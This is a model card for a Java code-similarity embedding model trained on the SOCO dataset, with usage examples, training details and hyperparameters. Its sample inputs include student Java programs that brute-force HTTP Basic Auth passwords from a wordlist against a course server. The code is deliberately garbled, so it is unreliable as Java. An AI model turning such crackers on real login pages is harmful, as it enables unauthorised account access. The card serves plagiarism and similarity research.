{\n                  mailwriter.println(\"The image \"+mdImgName+\" is  new  this \");\n                  changed=true;\n               }\n            }\n         }\n\n         for (tmp=1; tmp<tmpmd5A.length; tmp++) \n         {\n            stoken = new StringTokenizer(tmpmd5A[tmp]);\n            tmpImgVal = stoken.nextToken();\n            tmpImgName = stoken.nextToken();\n            for (x=1; x<md5A.length; x++)\n            {\n               stoken = new StringTokenizer(md5A[x]);\n               mdImgVal = stoken.nextToken();\n               mdImgName = stoken.nextToken();\n               if (tmpImgName.compareTo(mdImgName) == 0)\n               {\n                  break;\n               }\n               if (x == ((md5A.length)-1))\n               {\n                  mailwriter.println(\"The image \"+tmpImgName+\" is   longer  the \");\n                  changed=true;\n               }\n            }\n         }\n\n\n      } catch(IOException ioe)\n         {System.out.println(\"IOException\");\n          ioe.printStackTrace();\n         }\n        catch(InterruptedException iex)\n         {System.out.println(\"Interrupted Exception\");\n         iex.printStackTrace();\n         }\n\n   }\n\n\n   static Object getFullPath(String fname)\n   {\n      \n\n      if(fname.charAt(0)== '/') \n         fname=urlStr+fname;  \n      else if(fname.charAt(0) != 'h')\n         fname=urlStr+'/'+fname;\n\n      getImgFile(fname);\n\n      return (Object)fname; \n   }\n\n   static void getImgFile(String fullPath)\n   {\n      \n\n      try\n      {\n         qproc=Runtime.getRuntime().exec(\"/usr/local//wget \"+fullPath);\n         qproc.waitFor();\n\n      } catch (IOException ioe)\n        {\n           System.out.println(\"IOException\");\n           ioe.printStackTrace();\n        }\n        catch (InterruptedException intex)\n        {\n           System.out.println(\"Interrupted Exception\");\n           intex.printStackTrace();\n        }\n   }\n\n   static void rmImgFile(String delpath)\n   {\n      \n\n      try\n      {\n         qproc=Runtime.getRuntime().exec(\"/usr//rm \"+ delpath);\n         qproc.waitFor();\n\n      } catch (IOException ioe)\n        {\n           System.out.println(\"IOException\");\n           ioe.printStackTrace();\n        }\n        catch (InterruptedException intex)\n        {\n           System.out.println(\"Interrupted Exception\");\n           intex.printStackTrace();\n        }\n   \n   }\n\n   static Object getImgNames(String prsName)\n   {\n          \n  \n      String str = new StringTokenizer(prsName, \"/\", false);\n\n      while(str.hasMoreTokens())\n      {\n         str=bgf.nextToken();\n         if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n            prsName=str;\n      }\n      return (Object)prsName;\n   }\n}\n"
]
embeddings = model.encode(sentences)

similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [4, 4]

SentenceTransformer based on microsoft/graphcodebert-base

This is a sentence-transformers model finetuned from microsoft/graphcodebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/graphcodebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

Unnamed Dataset

  • Size: 33,411 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 61 tokens
    • mean: 478.83 tokens
    • max: 512 tokens
    • min: 61 tokens
    • mean: 490.04 tokens
    • max: 512 tokens
    • 0: ~99.80%
    • 1: ~0.20%
  • Samples:
    sentence_0 sentence_1 label


    import java.net.;
    import java.io.
    ;

    public class sendMail {

    public void sendMail(String mailServer, String recipient, String result) {
    try {
    Socket s = new Socket(mailServer, 25);
    BufferedReader in = new BufferedReader
    (new InputStreamReader(s.getInputStream(), "8859_1"));
    BufferedWriter out = new BufferedWriter
    (new OutputStreamWriter(s.getOutputStream(), "8859_1"));

    send(in, out, "HELO client");

    send(in, out, "MAIL FROM: ");
    send(in, out, "RCPT : " + recipient);
    send(in, out, "DATA");
    send(out, "Subject: ");
    send(out, "From: Admin ");
    send (out, "\n");

    send(out, result);
    send(out, "\n.\n");
    send(in, out, "QUIT");

    }
    catch (Exception e) {
    e.printStackTrace();
    }
    }

    public void send(BufferedReader in, BufferedWriter out, String s) {
    try {
    out.write(s + "\n");
    out.flush();
    Sys...



    import java.io.;
    import java.util.
    ;
    import java.;
    import java.net.
    ;

    public class WatchDog
    {

    static Process p = null;
    static Process qproc = null;

    static BufferedReader bf = null;
    static StringTokenizer tok = null;

    static String Path = null;
    static String str = null;
    static String urlStr=null;
    static boolean changed = false;

    static File indexfile = new File("index.html");
    static File tmpfile = new File("tmpindex.html");
    static File mdfile = new File("md5file.txt");
    static File tmpmdfile = new File("tmpmd5file.txt");
    static PrintWriter mailwriter = null;


    public static void main(String[] args)
    {

    urlStr = "http://www.cs.rmit.edu./";

    try
    {

    mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

    getLatest(urlStr);
    parseFile();

    mailwriter.read();

    if(changed)
    {
    System.out.println("Sending Mail");
    ...
    0

    import java.io.;
    import java.net.
    ;

    public class BruteForce
    {
    private String myUsername = "";
    private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
    private int NUM_CHARS = 52;


    public static void main(String args[])
    {
    BruteForce bf = new BruteForce();
    }


    public BruteForce()
    {
    generatePassword();
    }




    public void generatePassword()
    {
    int index1 = 0, index2, index3;

    char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
    'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
    'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
    's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };


    while(index1 < NUM_CHARS)
    {
    index2 = 0;

    while(index2 < NUM_CHARS)
    {
    ...




    public class HoldSharedData
    {
    private int numOfConnections = 0;
    private int startTime;
    private int totalTime = 0;
    private String[] password;
    private int pwdCount;

    public HoldSharedData( int time, String[] pwd, int count )
    {
    startTime = time;

    password = pwd;
    pwdCount = count;
    }

    public int getPwdCount()
    {
    return pwdCount;
    }

    public void setNumOfConnections( )
    {
    numOfConnections ++;
    }

    public int getNumOfConnections()
    {
    return numOfConnections;
    }

    public int getStartTime()
    {
    return startTime;
    }

    public void setTotalTime( int newTotalTime )
    {
    totalTime = newTotalTime;
    }

    public int getTotalTime()
    {
    return totalTime;
    }

    public String getPasswordAt( int index )
    {
    return password[index];
    }
    }
    0


    import java.net.;
    import java.io.
    ;

    public class sendMail {

    public void sendMail(String mailServer, String recipient, String result) {
    try {
    Socket s = new Socket(mailServer, 25);
    BufferedReader in = new BufferedReader
    (new InputStreamReader(s.getInputStream(), "8859_1"));
    BufferedWriter out = new BufferedWriter
    (new OutputStreamWriter(s.getOutputStream(), "8859_1"));

    send(in, out, "HELO client");

    send(in, out, "MAIL FROM: ");
    send(in, out, "RCPT : " + recipient);
    send(in, out, "DATA");
    send(out, "Subject: ");
    send(out, "From: Admin ");
    send (out, "\n");

    send(out, result);
    send(out, "\n.\n");
    send(in, out, "QUIT");

    }
    catch (Exception e) {
    e.printStackTrace();
    }
    }

    public void send(BufferedReader in, BufferedWriter out, String s) {
    try {
    out.write(s + "\n");
    out.flush();
    Sys...


    import java.net.;
    import java.io.
    ;

    public class Base64Encoder
    {
    private final static char base64Array [] = {
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
    'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
    'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
    'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
    'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
    'w', 'x', 'y', 'z', '0', '1', '2', '3',
    '4', '5', '6', '7', '8', '9', '+', '/'
    };

    public static String encode (String string)
    {
    String encodedString = "";
    byte bytes [] = string.getBytes ();
    int i = 0;
    int pad = 0;
    while (i < bytes.length)
    {
    byte b1 = bytes [i++];
    byte b2;
    byte b3;
    if (i >= bytes.length)
    {
    b2 = 0;
    b3 = 0;
    pad = 2;
    }
    else
    {
    b2 = bytes [i++];
    if (i >= bytes.length)
    ...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: False
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin

Training Logs

Epoch Step Training Loss
0.2393 500 0.1754
0.4787 1000 0.1994
0.7180 1500 0.209
0.9574 2000 0.1941

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}
Downloads last month
25
Safetensors
Model size
0.1B params
Tensor type
F32
·
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support

Model tree for buelfhood/SOCO-Java-GraphCodeBERT-ST

Finetuned
(49)
this model

Papers for buelfhood/SOCO-Java-GraphCodeBERT-ST